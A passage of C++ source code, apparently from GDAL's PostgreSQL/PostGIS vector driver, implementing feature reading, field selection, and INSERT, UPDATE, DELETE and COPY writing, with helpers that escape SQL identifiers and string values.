if( bInResetReading )
return;
bInResetReading = TRUE;
if( bDeferredCreation ) RunDeferredCreationIfNecessary();
poDS->EndCopy();
bUseCopyByDefault = FALSE;
BuildFullQueryStatement();
OGRPGLayer::ResetReading();
bInResetReading = FALSE;
}
/************************************************************************/
/* GetNextFeature() */
/************************************************************************/
OGRFeature *OGRPGTableLayer::GetNextFeature()
{
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return NULL;
poDS->EndCopy();
if( pszQueryStatement == NULL )
ResetReading();
if( pszQueryStatement == NULL )
ResetReading();
OGRPGGeomFieldDefn* poGeomFieldDefn = NULL;
if( poFeatureDefn->GetGeomFieldCount() != 0 )
poGeomFieldDefn = poFeatureDefn->myGetGeomFieldDefn(m_iGeomFieldFilter);
poFeatureDefn->GetFieldCount();
while( true )
{
OGRFeature *poFeature;
poFeature = GetNextRawFeature();
if( poFeature == NULL )
return NULL;
/* We just have to look if there is a geometry filter */
/* If there's a PostGIS geometry column, the spatial filter */
/* is already taken into account in the select request */
/* The attribute filter is always taken into account by the select request */
if( m_poFilterGeom == NULL
|| poGeomFieldDefn == NULL
|| poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY
|| poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY
|| FilterGeometry( poFeature->GetGeomFieldRef(m_iGeomFieldFilter) ) )
{
if( poFeature && iFIDAsRegularColumnIndex >= 0 )
{
poFeature->SetField(iFIDAsRegularColumnIndex, poFeature->GetFID());
}
return poFeature;
}
delete poFeature;
}
}
/************************************************************************/
/* BuildFields() */
/* */
/* Build list of fields to fetch, performing any required */
/* transformations (such as on geometry). */
/************************************************************************/
CPLString OGRPGTableLayer::BuildFields()
{
int i = 0;
CPLString osFieldList;
poFeatureDefn->GetFieldCount();
if( pszFIDColumn != NULL && poFeatureDefn->GetFieldIndex( pszFIDColumn ) == -1 )
{
osFieldList += OGRPGEscapeColumnName(pszFIDColumn);
}
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(i);
CPLString osEscapedGeom =
OGRPGEscapeColumnName(poGeomFieldDefn->GetNameRef());
if( osFieldList.size() > 0 )
osFieldList += ", ";
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY )
{
if ( poDS->sPostGISVersion.nMajor < 0 || poDS->bUseBinaryCursor )
{
osFieldList += osEscapedGeom;
}
else if (CPLTestBool(CPLGetConfigOption("PG_USE_BASE64", "NO")))
{
if (poDS->sPostGISVersion.nMajor >= 2)
osFieldList += "encode(ST_AsEWKB(";
else
osFieldList += "encode(AsEWKB(";
osFieldList += osEscapedGeom;
osFieldList += "), 'base64') AS ";
osFieldList += OGRPGEscapeColumnName(
CPLSPrintf("EWKBBase64_%s", poGeomFieldDefn->GetNameRef()));
}
else if ( !CPLTestBool(CPLGetConfigOption("PG_USE_TEXT", "NO")) &&
/* perhaps works also for older version, but I didn't check */
(poDS->sPostGISVersion.nMajor > 1 ||
(poDS->sPostGISVersion.nMajor == 1 && poDS->sPostGISVersion.nMinor >= 1)) )
{
/* This will return EWKB in an hex encoded form */
osFieldList += osEscapedGeom;
}
else if ( poDS->sPostGISVersion.nMajor >= 1 )
{
if (poDS->sPostGISVersion.nMajor >= 2)
osFieldList += "ST_AsEWKT(";
else
osFieldList += "AsEWKT(";
osFieldList += osEscapedGeom;
osFieldList += ") AS ";
osFieldList += OGRPGEscapeColumnName(
CPLSPrintf("AsEWKT_%s", poGeomFieldDefn->GetNameRef()));
}
else
{
osFieldList += "AsText(";
osFieldList += osEscapedGeom;
osFieldList += ") AS ";
osFieldList += OGRPGEscapeColumnName(
CPLSPrintf("AsText_%s", poGeomFieldDefn->GetNameRef()));
}
}
else if ( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY )
{
#if defined(BINARY_CURSOR_ENABLED)
if ( poDS->bUseBinaryCursor )
{
osFieldList += "ST_AsBinary(";
osFieldList += osEscapedGeom;
osFieldList += ") AS";
osFieldList += OGRPGEscapeColumnName(
CPLSPrintf("AsBinary_%s", poGeomFieldDefn->GetNameRef()));
}
else
#endif
if (CPLTestBool(CPLGetConfigOption("PG_USE_BASE64", "NO")))
{
osFieldList += "encode(ST_AsEWKB(";
osFieldList += osEscapedGeom;
osFieldList += "::geometry), 'base64') AS ";
osFieldList += OGRPGEscapeColumnName(
CPLSPrintf("EWKBBase64_%s", poGeomFieldDefn->GetNameRef()));
}
else if ( !CPLTestBool(CPLGetConfigOption("PG_USE_TEXT", "NO")) )
{
osFieldList += osEscapedGeom;
}
else
{
osFieldList += "ST_AsEWKT(";
osFieldList += osEscapedGeom;
osFieldList += "::geometry) AS ";
osFieldList += OGRPGEscapeColumnName(
CPLSPrintf("AsEWKT_%s", poGeomFieldDefn->GetNameRef()));
}
}
else
{
osFieldList += osEscapedGeom;
}
}
for( i = 0; i < poFeatureDefn->GetFieldCount(); i++ )
{
const char *pszName = poFeatureDefn->GetFieldDefn(i)->GetNameRef();
if( osFieldList.size() > 0 )
osFieldList += ", ";
#if defined(BINARY_CURSOR_ENABLED)
/* With a binary cursor, it is not possible to get the time zone */
/* of a timestamptz column. So we fallback to asking it in text mode */
if ( poDS->bUseBinaryCursor &&
poFeatureDefn->GetFieldDefn(i)->GetType() == OFTDateTime)
{
osFieldList += "CAST (";
osFieldList += OGRPGEscapeColumnName(pszName);
osFieldList += " AS text)";
}
else
#endif
{
osFieldList += OGRPGEscapeColumnName(pszName);
}
}
return osFieldList;
}
/************************************************************************/
/* SetAttributeFilter() */
/************************************************************************/
OGRErr OGRPGTableLayer::SetAttributeFilter( const char *pszQuery )
{
CPLFree(m_pszAttrQueryString);
m_pszAttrQueryString = (pszQuery) ? CPLStrdup(pszQuery) : NULL;
if( pszQuery == NULL )
osQuery = "";
else
osQuery = pszQuery;
BuildWhere();
ResetReading();
return OGRERR_NONE;
}
/************************************************************************/
/* DeleteFeature() */
/************************************************************************/
OGRErr OGRPGTableLayer::DeleteFeature( GIntBig nFID )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
GetLayerDefn()->GetFieldCount();
if( !bUpdateAccess )
{
CPLError( CE_Failure, CPLE_NotSupported,
UNSUPPORTED_OP_READ_ONLY,
"DeleteFeature");
return OGRERR_FAILURE;
}
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return OGRERR_FAILURE;
poDS->EndCopy();
bAutoFIDOnCreateViaCopy = FALSE;
/* -------------------------------------------------------------------- */
/* We can only delete features if we have a well defined FID */
/* column to target. */
/* -------------------------------------------------------------------- */
if( pszFIDColumn == NULL )
{
CPLError( CE_Failure, CPLE_AppDefined,
"DeleteFeature(" CPL_FRMT_GIB ") failed. Unable to delete features in tables without\n"
"a recognised FID column.",
nFID );
return OGRERR_FAILURE;
}
/* -------------------------------------------------------------------- */
/* Form the statement to drop the record. */
/* -------------------------------------------------------------------- */
osCommand.Printf( "DELETE FROM %s WHERE %s = " CPL_FRMT_GIB,
pszSqlTableName, OGRPGEscapeColumnName(pszFIDColumn).c_str(), nFID );
/* -------------------------------------------------------------------- */
/* Execute the delete. */
/* -------------------------------------------------------------------- */
OGRErr eErr;
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"DeleteFeature() DELETE statement failed.\n%s",
PQerrorMessage(hPGConn) );
eErr = OGRERR_FAILURE;
}
else
{
if( EQUAL(PQcmdStatus(hResult), "DELETE 0") )
eErr = OGRERR_NON_EXISTING_FEATURE;
else
eErr = OGRERR_NONE;
}
OGRPGClearResult( hResult );
return eErr;
}
/************************************************************************/
/* ISetFeature() */
/* */
/* SetFeature() is implemented by an UPDATE SQL command */
/************************************************************************/
OGRErr OGRPGTableLayer::ISetFeature( OGRFeature *poFeature )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult = NULL;
CPLString osCommand;
int i = 0;
int bNeedComma = FALSE;
OGRErr eErr = OGRERR_FAILURE;
GetLayerDefn()->GetFieldCount();
if( !bUpdateAccess )
{
CPLError( CE_Failure, CPLE_NotSupported,
UNSUPPORTED_OP_READ_ONLY,
"SetFeature");
return OGRERR_FAILURE;
}
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return OGRERR_FAILURE;
poDS->EndCopy();
if( NULL == poFeature )
{
CPLError( CE_Failure, CPLE_AppDefined,
"NULL pointer to OGRFeature passed to SetFeature()." );
return eErr;
}
if( poFeature->GetFID() == OGRNullFID )
{
CPLError( CE_Failure, CPLE_AppDefined,
"FID required on features given to SetFeature()." );
return eErr;
}
if( pszFIDColumn == NULL )
{
CPLError( CE_Failure, CPLE_AppDefined,
"Unable to update features in tables without\n"
"a recognised FID column.");
return eErr;
}
/* In case the FID column has also been created as a regular field */
if( iFIDAsRegularColumnIndex >= 0 )
{
if( !poFeature->IsFieldSet( iFIDAsRegularColumnIndex ) ||
poFeature->GetFieldAsInteger64(iFIDAsRegularColumnIndex) != poFeature->GetFID() )
{
CPLError(CE_Failure, CPLE_AppDefined,
"Inconsistent values of FID and field of same name");
return OGRERR_FAILURE;
}
}
/* -------------------------------------------------------------------- */
/* Form the UPDATE command. */
/* -------------------------------------------------------------------- */
osCommand.Printf( "UPDATE %s SET ", pszSqlTableName );
/* Set the geometry */
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(i);
OGRGeometry* poGeom = poFeature->GetGeomFieldRef(i);
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_WKB )
{
if( bNeedComma )
osCommand += ", ";
else
bNeedComma = TRUE;
osCommand += OGRPGEscapeColumnName(poGeomFieldDefn->GetNameRef());
osCommand += " = ";
if ( poGeom != NULL )
{
if( !bWkbAsOid )
{
char *pszBytea = GeometryToBYTEA( poGeom,
poDS->sPostGISVersion.nMajor,
poDS->sPostGISVersion.nMinor );
if( pszBytea != NULL )
{
if (poDS->bUseEscapeStringSyntax)
osCommand += "E";
osCommand = osCommand + "'" + pszBytea + "'";
CPLFree( pszBytea );
}
else
osCommand += "NULL";
}
else
{
Oid oid = GeometryToOID( poGeom );
if( oid != 0 )
{
osCommand += CPLString().Printf( "'%d' ", oid );
}
else
osCommand += "NULL";
}
}
else
osCommand += "NULL";
}
else if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY ||
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY )
{
if( bNeedComma )
osCommand += ", ";
else
bNeedComma = TRUE;
osCommand += OGRPGEscapeColumnName(poGeomFieldDefn->GetNameRef());
osCommand += " = ";
if( poGeom != NULL )
{
poGeom->closeRings();
poGeom->set3D(poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_3D);
poGeom->setMeasured(poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED);
}
if ( !CPLTestBool(CPLGetConfigOption("PG_USE_TEXT", "NO")) )
{
if ( poGeom != NULL )
{
char* pszHexEWKB = OGRGeometryToHexEWKB( poGeom, poGeomFieldDefn->nSRSId,
poDS->sPostGISVersion.nMajor,
poDS->sPostGISVersion.nMinor);
if ( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY )
osCommand += CPLString().Printf("'%s'::GEOGRAPHY", pszHexEWKB);
else
osCommand += CPLString().Printf("'%s'::GEOMETRY", pszHexEWKB);
OGRFree( pszHexEWKB );
}
else
osCommand += "NULL";
}
else
{
char *pszWKT = NULL;
if (poGeom != NULL)
poGeom->exportToWkt( &pszWKT );
int nSRSId = poGeomFieldDefn->nSRSId;
if( pszWKT != NULL )
{
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY )
osCommand +=
CPLString().Printf(
"ST_GeographyFromText('SRID=%d;%s'::TEXT) ", nSRSId, pszWKT );
else if( poDS->sPostGISVersion.nMajor >= 1 )
osCommand +=
CPLString().Printf(
"GeomFromEWKT('SRID=%d;%s'::TEXT) ", nSRSId, pszWKT );
else
osCommand +=
CPLString().Printf(
"GeometryFromText('%s'::TEXT,%d) ", pszWKT, nSRSId );
OGRFree( pszWKT );
}
else
osCommand += "NULL";
}
}
}
for( i = 0; i < poFeatureDefn->GetFieldCount(); i++ )
{
if( iFIDAsRegularColumnIndex == i )
continue;
if( bNeedComma )
osCommand += ", ";
else
bNeedComma = TRUE;
osCommand = osCommand
+ OGRPGEscapeColumnName(poFeatureDefn->GetFieldDefn(i)->GetNameRef()) + " = ";
if( !poFeature->IsFieldSet( i ) )
{
osCommand += "NULL";
}
else
{
OGRPGCommonAppendFieldValue(osCommand, poFeature, i,
(OGRPGCommonEscapeStringCbk)OGRPGEscapeString, hPGConn);
}
}
/* Add the WHERE clause */
osCommand += " WHERE ";
osCommand = osCommand + OGRPGEscapeColumnName(pszFIDColumn) + " = ";
osCommand += CPLString().Printf( CPL_FRMT_GIB, poFeature->GetFID() );
/* -------------------------------------------------------------------- */
/* Execute the update. */
/* -------------------------------------------------------------------- */
hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"UPDATE command for feature " CPL_FRMT_GIB " failed.\n%s\nCommand: %s",
poFeature->GetFID(), PQerrorMessage(hPGConn), osCommand.c_str() );
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
if( EQUAL(PQcmdStatus(hResult), "UPDATE 0") )
eErr = OGRERR_NON_EXISTING_FEATURE;
else
eErr = OGRERR_NONE;
OGRPGClearResult( hResult );
return eErr;
}
/************************************************************************/
/* ICreateFeature() */
/************************************************************************/
OGRErr OGRPGTableLayer::ICreateFeature( OGRFeature *poFeature )
{
GetLayerDefn()->GetFieldCount();
if( !bUpdateAccess )
{
CPLError( CE_Failure, CPLE_NotSupported,
UNSUPPORTED_OP_READ_ONLY,
"CreateFeature");
return OGRERR_FAILURE;
}
if( NULL == poFeature )
{
CPLError( CE_Failure, CPLE_AppDefined,
"NULL pointer to OGRFeature passed to CreateFeature()." );
return OGRERR_FAILURE;
}
if( bDeferredCreation && RunDeferredCreationIfNecessary() != OGRERR_NONE )
return OGRERR_FAILURE;
/* In case the FID column has also been created as a regular field */
GIntBig nFID = poFeature->GetFID();
if( iFIDAsRegularColumnIndex >= 0 )
{
if( nFID == OGRNullFID )
{
if( poFeature->IsFieldSet( iFIDAsRegularColumnIndex ) )
{
poFeature->SetFID(
poFeature->GetFieldAsInteger64(iFIDAsRegularColumnIndex));
}
}
else
{
if( !poFeature->IsFieldSet( iFIDAsRegularColumnIndex ) ||
poFeature->GetFieldAsInteger64(iFIDAsRegularColumnIndex) != nFID )
{
CPLError(CE_Failure, CPLE_AppDefined,
"Inconsistent values of FID and field of same name");
return OGRERR_FAILURE;
}
}
}
/* Auto-promote FID column to 64bit if necessary */
if( pszFIDColumn != NULL &&
!CPL_INT64_FITS_ON_INT32(nFID) &&
GetMetadataItem(OLMD_FID64) == NULL )
{
poDS->EndCopy();
CPLString osCommand;
osCommand.Printf( "ALTER TABLE %s ALTER COLUMN %s TYPE INT8",
pszSqlTableName,
OGRPGEscapeColumnName(pszFIDColumn).c_str() );
PGconn *hPGConn = poDS->GetPGConn();
PGresult* hResult = OGRPG_PQexec(hPGConn, osCommand);
if( PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"%s\n%s",
osCommand.c_str(),
PQerrorMessage(hPGConn) );
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
SetMetadataItem(OLMD_FID64, "YES");
}
if( bFirstInsertion )
{
bFirstInsertion = FALSE;
if( CPLTestBool(CPLGetConfigOption("OGR_TRUNCATE", "NO")) )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult;
CPLString osCommand;
osCommand.Printf("TRUNCATE TABLE %s", pszSqlTableName );
hResult = OGRPG_PQexec( hPGConn, osCommand.c_str() );
OGRPGClearResult( hResult );
}
}
// We avoid testing the config option too often.
if( bUseCopy == USE_COPY_UNSET )
bUseCopy = CPLTestBool( CPLGetConfigOption( "PG_USE_COPY", "NO") );
OGRErr eErr;
if( !bUseCopy )
{
eErr = CreateFeatureViaInsert( poFeature );
}
else
{
/* If there's a unset field with a default value, then we must use */
/* a specific INSERT statement to avoid unset fields to be bound to NULL */
int bHasDefaultValue = FALSE;
int iField;
int nFieldCount = poFeatureDefn->GetFieldCount();
for( iField = 0; iField < nFieldCount; iField++ )
{
if( !poFeature->IsFieldSet( iField ) &&
poFeature->GetFieldDefnRef(iField)->GetDefault() != NULL )
{
bHasDefaultValue = TRUE;
break;
}
}
if( bHasDefaultValue )
{
eErr = CreateFeatureViaInsert( poFeature );
}
else
{
int bFIDSet = (pszFIDColumn != NULL && poFeature->GetFID() != OGRNullFID);
if( bCopyActive && bFIDSet != bFIDColumnInCopyFields )
{
eErr = CreateFeatureViaInsert( poFeature );
}
else if( !bCopyActive && poFeatureDefn->GetFieldCount() == 0 &&
poFeatureDefn->GetGeomFieldCount() == 0 && !bFIDSet )
{
eErr = CreateFeatureViaInsert( poFeature );
}
else
{
if ( !bCopyActive )
{
/* This is a heuristics. If the first feature to be copied has a */
/* FID set (and that a FID column has been identified), then we will */
/* try to copy FID values from features. Otherwise, we will not */
/* do and assume that the FID column is an autoincremented column. */
bFIDColumnInCopyFields = bFIDSet;
}
eErr = CreateFeatureViaCopy( poFeature );
if( bFIDSet )
bAutoFIDOnCreateViaCopy = FALSE;
if( eErr == OGRERR_NONE && bAutoFIDOnCreateViaCopy )
{
poFeature->SetFID( ++iNextShapeId );
}
}
}
}
if( eErr == OGRERR_NONE && iFIDAsRegularColumnIndex >= 0 )
{
poFeature->SetField(iFIDAsRegularColumnIndex, poFeature->GetFID());
}
return eErr;
}
/************************************************************************/
/* OGRPGEscapeColumnName( ) */
/************************************************************************/
CPLString OGRPGEscapeColumnName(const char* pszColumnName)
{
CPLString osStr;
osStr += "\"";
char ch;
for(int i=0; (ch = pszColumnName[i]) != '\0'; i++)
{
if (ch == '"')
osStr.append(1, ch);
osStr.append(1, ch);
}
osStr += "\"";
return osStr;
}
/************************************************************************/
/* OGRPGEscapeString( ) */
/************************************************************************/
CPLString OGRPGEscapeString(PGconn *hPGConn,
const char* pszStrValue, int nMaxLength,
const char* pszTableName,
const char* pszFieldName )
{
CPLString osCommand;
/* We need to quote and escape string fields. */
osCommand += "'";
int nSrcLen = static_cast<int>(strlen(pszStrValue));
int nSrcLenUTF = CPLStrlenUTF8(pszStrValue);
if (nMaxLength > 0 && nSrcLenUTF > nMaxLength)
{
CPLDebug( "PG",
"Truncated %s.%s field value '%s' to %d characters.",
pszTableName, pszFieldName, pszStrValue, nMaxLength );
int iUTF8Char = 0;
for(int iChar = 0; iChar < nSrcLen; iChar++ )
{
if( (((unsigned char *) pszStrValue)[iChar] & 0xc0) != 0x80 )
{
if( iUTF8Char == nMaxLength )
{
nSrcLen = iChar;
break;
}
iUTF8Char ++;
}
}
}
char* pszDestStr = (char*)CPLMalloc(2 * nSrcLen + 1);
/* -------------------------------------------------------------------- */
/* PQescapeStringConn was introduced in PostgreSQL security releases */
/* 8.1.4, 8.0.8, 7.4.13, 7.3.15 */
/* PG_HAS_PQESCAPESTRINGCONN is added by a test in 'configure' */
/* so it is not set by default when building OGR for Win32 */
/* -------------------------------------------------------------------- */
#if defined(PG_HAS_PQESCAPESTRINGCONN)
int nError;
PQescapeStringConn (hPGConn, pszDestStr, pszStrValue, nSrcLen, &nError);
if (nError == 0)
osCommand += pszDestStr;
else
CPLError(CE_Warning, CPLE_AppDefined,
"PQescapeString(): %s\n"
" input: '%s'\n"
" got: '%s'\n",
PQerrorMessage( hPGConn ),
pszStrValue, pszDestStr );
#else
PQescapeString(pszDestStr, pszStrValue, nSrcLen);
osCommand += pszDestStr;
#endif
CPLFree(pszDestStr);
osCommand += "'";
return osCommand;
}
/************************************************************************/
/* CreateFeatureViaInsert() */
/************************************************************************/
OGRErr OGRPGTableLayer::CreateFeatureViaInsert( OGRFeature *poFeature )
{
PGconn *hPGConn = poDS->GetPGConn();
PGresult *hResult;
CPLString osCommand;
int i;
int bNeedComma = FALSE;
int bEmptyInsert = FALSE;
poDS->EndCopy();
/* -------------------------------------------------------------------- */
/* Form the INSERT command. */
/* -------------------------------------------------------------------- */
osCommand.Printf( "INSERT INTO %s (", pszSqlTableName );
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(i);
OGRGeometry* poGeom = poFeature->GetGeomFieldRef(i);
if( poGeom == NULL )
continue;
if( !bNeedComma )
bNeedComma = TRUE;
else
osCommand += ", ";
osCommand += OGRPGEscapeColumnName(poGeomFieldDefn->GetNameRef()) + " ";
}
/* Use case of ogr_pg_60 test */
if( poFeature->GetFID() != OGRNullFID && pszFIDColumn != NULL )
{
if( bNeedComma )
osCommand += ", ";
osCommand = osCommand + OGRPGEscapeColumnName(pszFIDColumn) + " ";
bNeedComma = TRUE;
}
int nFieldCount = poFeatureDefn->GetFieldCount();
for( i = 0; i < nFieldCount; i++ )
{
if( iFIDAsRegularColumnIndex == i )
continue;
if( !poFeature->IsFieldSet( i ) )
continue;
if( !bNeedComma )
bNeedComma = TRUE;
else
osCommand += ", ";
osCommand = osCommand
+ OGRPGEscapeColumnName(poFeatureDefn->GetFieldDefn(i)->GetNameRef());
}
if (!bNeedComma)
bEmptyInsert = TRUE;
osCommand += ") VALUES (";
/* Set the geometry */
bNeedComma = FALSE;
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(i);
OGRGeometry* poGeom = poFeature->GetGeomFieldRef(i);
if( poGeom == NULL )
continue;
if( bNeedComma )
osCommand += ", ";
else
bNeedComma = TRUE;
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY ||
poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOMETRY )
{
CheckGeomTypeCompatibility(i, poGeom);
poGeom->closeRings();
poGeom->set3D(poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_3D);
poGeom->setMeasured(poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED);
int nSRSId = poGeomFieldDefn->nSRSId;
if ( !CPLTestBool(CPLGetConfigOption("PG_USE_TEXT", "NO")) )
{
char *pszHexEWKB = OGRGeometryToHexEWKB( poGeom, nSRSId,
poDS->sPostGISVersion.nMajor,
poDS->sPostGISVersion.nMinor );
if ( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY )
osCommand += CPLString().Printf("'%s'::GEOGRAPHY", pszHexEWKB);
else
osCommand += CPLString().Printf("'%s'::GEOMETRY", pszHexEWKB);
OGRFree( pszHexEWKB );
}
else
{
char *pszWKT = NULL;
poGeom->exportToWkt( &pszWKT );
if( pszWKT != NULL )
{
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_GEOGRAPHY )
osCommand +=
CPLString().Printf(
"ST_GeographyFromText('SRID=%d;%s'::TEXT) ", nSRSId, pszWKT );
else if( poDS->sPostGISVersion.nMajor >= 1 )
osCommand +=
CPLString().Printf(
"GeomFromEWKT('SRID=%d;%s'::TEXT) ", nSRSId, pszWKT );
else
osCommand +=
CPLString().Printf(
"GeometryFromText('%s'::TEXT,%d) ", pszWKT, nSRSId );
OGRFree( pszWKT );
}
else
osCommand += "''";
}
}
else if( !bWkbAsOid )
{
char *pszBytea = GeometryToBYTEA( poGeom,
poDS->sPostGISVersion.nMajor,
poDS->sPostGISVersion.nMinor );
if( pszBytea != NULL )
{
if (poDS->bUseEscapeStringSyntax)
osCommand += "E";
osCommand = osCommand + "'" + pszBytea + "'";
CPLFree( pszBytea );
}
else
osCommand += "''";
}
else if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_WKB &&
bWkbAsOid && poGeom != NULL )
{
Oid oid = GeometryToOID( poGeom );
if( oid != 0 )
{
osCommand += CPLString().Printf( "'%d' ", oid );
}
else
osCommand += "''";
}
}
if( poFeature->GetFID() != OGRNullFID && pszFIDColumn != NULL )
{
if( bNeedComma )
osCommand += ", ";
osCommand += CPLString().Printf( CPL_FRMT_GIB " ", poFeature->GetFID() );
bNeedComma = TRUE;
}
for( i = 0; i < nFieldCount; i++ )
{
if( iFIDAsRegularColumnIndex == i )
continue;
if( !poFeature->IsFieldSet( i ) )
continue;
if( bNeedComma )
osCommand += ", ";
else
bNeedComma = TRUE;
OGRPGCommonAppendFieldValue(osCommand, poFeature, i,
(OGRPGCommonEscapeStringCbk)OGRPGEscapeString, hPGConn);
}
osCommand += ")";
if (bEmptyInsert)
osCommand.Printf( "INSERT INTO %s DEFAULT VALUES", pszSqlTableName );
int bReturnRequested = FALSE;
/* RETURNING is only available since Postgres 8.2 */
/* We only get the FID, but we also could add the unset fields to get */
/* the default values */
if (bRetrieveFID && pszFIDColumn != NULL && poFeature->GetFID() == OGRNullFID &&
(poDS->sPostgreSQLVersion.nMajor >= 9 ||
(poDS->sPostgreSQLVersion.nMajor == 8 && poDS->sPostgreSQLVersion.nMinor >= 2)))
{
bReturnRequested = TRUE;
osCommand += " RETURNING ";
osCommand += OGRPGEscapeColumnName(pszFIDColumn);
}
/* -------------------------------------------------------------------- */
/* Execute the insert. */
/* -------------------------------------------------------------------- */
hResult = OGRPG_PQexec(hPGConn, osCommand);
if (bReturnRequested && PQresultStatus(hResult) == PGRES_TUPLES_OK &&
PQntuples(hResult) == 1 && PQnfields(hResult) == 1 )
{
const char* pszFID = PQgetvalue(hResult, 0, 0 );
poFeature->SetFID(CPLAtoGIntBig(pszFID));
}
else if( bReturnRequested || PQresultStatus(hResult) != PGRES_COMMAND_OK )
{
CPLError( CE_Failure, CPLE_AppDefined,
"INSERT command for new feature failed.\n%s\nCommand: %s",
PQerrorMessage(hPGConn), osCommand.c_str() );
if( !bHasWarnedAlreadySetFID && poFeature->GetFID() != OGRNullFID &&
pszFIDColumn != NULL )
{
bHasWarnedAlreadySetFID = TRUE;
CPLError(CE_Warning, CPLE_AppDefined,
"You've inserted feature with an already set FID and that's perhaps the reason for the failure. "
"If so, this can happen if you reuse the same feature object for sequential insertions. "
"Indeed, since GDAL 1.8.0, the FID of an inserted feature is got from the server, so it is not a good idea"
"to reuse it afterwards... All in all, try unsetting the FID with SetFID(-1) before calling CreateFeature()");
}
OGRPGClearResult( hResult );
return OGRERR_FAILURE;
}
OGRPGClearResult( hResult );
return OGRERR_NONE;
}
/************************************************************************/
/* CreateFeatureViaCopy() */
/************************************************************************/
OGRErr OGRPGTableLayer::CreateFeatureViaCopy( OGRFeature *poFeature )
{
PGconn *hPGConn = poDS->GetPGConn();
CPLString osCommand;
int i;
/* Tell the datasource we are now planning to copy data */
poDS->StartCopy( this );
/* First process geometry */
for( i = 0; i < poFeatureDefn->GetGeomFieldCount(); i++ )
{
OGRPGGeomFieldDefn* poGeomFieldDefn =
poFeatureDefn->myGetGeomFieldDefn(i);
OGRGeometry* poGeom = poFeature->GetGeomFieldRef(i);
char *pszGeom = NULL;
if ( NULL != poGeom )
{
CheckGeomTypeCompatibility(i, poGeom);
poGeom->closeRings();
poGeom->set3D(poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_3D);
poGeom->setMeasured(poGeomFieldDefn->GeometryTypeFlags & OGRGeometry::OGR_G_MEASURED);
if( poGeomFieldDefn->ePostgisType == GEOM_TYPE_WKB )
pszGeom = GeometryToBYTEA( poGeom,
poDS->sPostGISVersion.nMajor,
poDS->sPostGISVersion.nMinor );
else
pszGeom = OGRGeometryToHexEWKB( poGeom, poGeomFieldDefn->nSRSId,
poDS->sPostGISVersion.nMajor,
poDS->sPostGISVersion.nMinor );
}
if (osCommand.size() > 0)
osCommand += "\t";
if ( pszGeom )
{
osCommand += pszGeom;
CPLFree( pszGeom );
}
else
{
osCommand += "\\N";
}
}
OGRPGCommonAppendCopyFieldsExceptGeom(osCommand,
poFeature,
pszFIDColumn,
bFIDColumnInCopyFields,
(OGRPGCommonEscapeStringCbk)OGRPGEscapeString,
hPGConn);
/* Add end of line marker */
osCommand += "\n";
/* ------------------------------------------------------------ */
/* Execute the copy. */
/* ------------------------------------------------------------ */
OGRErr result = OGRERR_NONE;
/* This is for postgresql 7.4 and higher */
#if !defined(PG_PRE74)
int copyResult = PQputCopyData(hPGConn, osCommand.c_str(),
static_cast<int>(strlen(osCommand.c_str())));
#ifdef DEBUG_VERBOSE
CPLDebug("PG", "PQputCopyData(%s)", osCommand.c_str());
#endif
switch (copyResult)
{
case 0:
CPLError( CE_Failure, CPLE_AppDefined, "Writing COPY data blocked.");
result = OGRERR_FAILURE;
break;
case -1:
CPLError( CE_Failure, CPLE_AppDefined, "%s", PQerrorMessage(hPGConn) );
result = OGRERR_FAILURE;
break;
}
#else /* else defined(PG_PRE74) */
int copyResult = PQputline(hPGConn, osCommand.c_str());
if (copyResult == EOF)
{
CPLError( CE_Failure, CPLE_AppDefined, "Writing COPY data blocked.");
result = OGRERR_FAILURE;
}
#endif /* end of defined(PG_PRE74) */
return result;
}
/************************************************************************/
/* TestCapability() */
/************************************************************************/
int OGRPGTableLayer::TestCapability( const char * pszCap )
{
if ( bUpdateAccess )
{
if( EQUAL(pszCap,OLCSequentialWrite) ||
